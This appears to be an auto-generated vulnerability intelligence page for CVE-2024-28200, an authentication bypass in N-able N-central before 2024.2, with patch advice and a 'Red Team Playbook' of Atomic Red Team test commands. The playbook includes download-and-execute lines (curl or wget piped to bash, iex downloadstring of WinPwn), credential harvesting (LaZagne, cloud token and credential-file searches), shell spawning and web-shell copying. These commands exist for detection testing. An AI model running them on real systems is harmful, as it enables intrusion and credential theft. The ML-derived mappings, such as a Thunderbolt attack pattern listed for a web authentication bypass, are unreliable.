CVE-2024-28200
Overview
This vulnerability is an authentication bypass affecting the user interface component of N-able N-central server. The root cause lies in improper enforcement of authentication controls within the server’s UI access mechanisms, allowing unauthenticated access to protected functions. The flaw exists in all versions of N-central prior to 2024.2, impacting the server’s authentication validation logic.
Vulnerability Description
The N-central server is vulnerable to an authentication bypass of the user interface. This vulnerability is present in all deployments of N-central prior to 2024.2. This vulnerability was discovered through internal N-central source code review and N-able has not observed any exploitation in the wild.
Impact
An attacker can gain unauthorized administrative access to the N-central server’s user interface without providing valid credentials, enabling them to view or manipulate sensitive management functions. This requires no prior authentication or user interaction and can be exploited remotely over the network. The business impact includes potential unauthorized control over managed devices and exposure of critical infrastructure data. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the exploitability without authentication or user interaction, elevating risk significantly.
Solution
N-able has addressed this issue in N-central version 2024.2. Users should upgrade all affected N-central deployments to version 2024.2 or later to remediate the authentication bypass. Detailed patch instructions and advisory information are available in N-able’s security advisory at https://me.n-able.com/s/security-advisory/aArVy0000000673KAA/cve202428200-ncentral-authentication-bypass and the 2024.2 release notes at https://documentation.n-able.com/N-central/Release_Notes/GA/Content/2024.2%20Release%20Notes.htm.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the N-central server allows for an authentication bypass within its user interface, which poses a significant risk to the integrity and security of the system. This flaw arises from improper validation mechanisms that fail to adequately enforce authentication controls. As a result, unauthorized users may gain access to sensitive functionalities and data without the need for valid credentials. The vulnerability affects all deployments of N-central prior to the 2024.2 release, making it critical for organizations using earlier versions to address this issue promptly.
Attack vectors for this vulnerability are varied and can be exploited through multiple means. An attacker could leverage automated scripts or manual techniques to interact with the user interface, potentially gaining unauthorized access to administrative functions. By bypassing authentication, an attacker could manipulate configurations, extract sensitive information, or even deploy malicious payloads within the system. Given the nature of the vulnerability, it could also be exploited in conjunction with other vulnerabilities or misconfigurations, amplifying the potential impact on the affected organization.
The real-world implications of this vulnerability are profound, particularly for businesses relying on N-central for network management and monitoring. Unauthorized access could lead to data breaches, loss of customer trust, and significant financial repercussions. Organizations may face regulatory scrutiny if sensitive data is compromised, leading to potential fines and legal liabilities. Furthermore, the operational disruptions caused by an attack could hinder business continuity, resulting in lost revenue and reputational damage. The high CVSS score of 9.8 underscores the severity of this vulnerability, indicating that it should be prioritized for remediation.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the N-central server to the latest version is crucial, as it addresses the authentication bypass issue. Additionally, organizations should conduct routine security assessments, including code reviews and penetration testing, to identify and remediate potential vulnerabilities proactively. Employing robust access controls and monitoring user activity can further help in detecting unauthorized access attempts. Implementing network segmentation and least privilege principles can also limit the potential impact of an exploit, should an attacker gain initial access.
In conclusion, the authentication bypass vulnerability in the N-central server presents a serious threat that organizations must address immediately. With the potential for significant business risks and operational disruptions, it is imperative for affected organizations to prioritize updates and implement comprehensive security measures. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems against exploitation and maintain the integrity of their operations.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
N-Able | N-Central | All |
cpe:2.3:a:n-able:n-central:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
43%
|
Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-28200 |
| documentation.n-able.com |
GitHub CVE
|
https://documentation.n-able.com/N-central/Release_Notes/GA/Content/2024.2%20Release%20Notes.htm |
| me.n-able.com |
GitHub CVE
|
https://me.n-able.com/s/security-advisory/aArVy0000000673KAA/cve202428200-ncentral-authentication-bypass |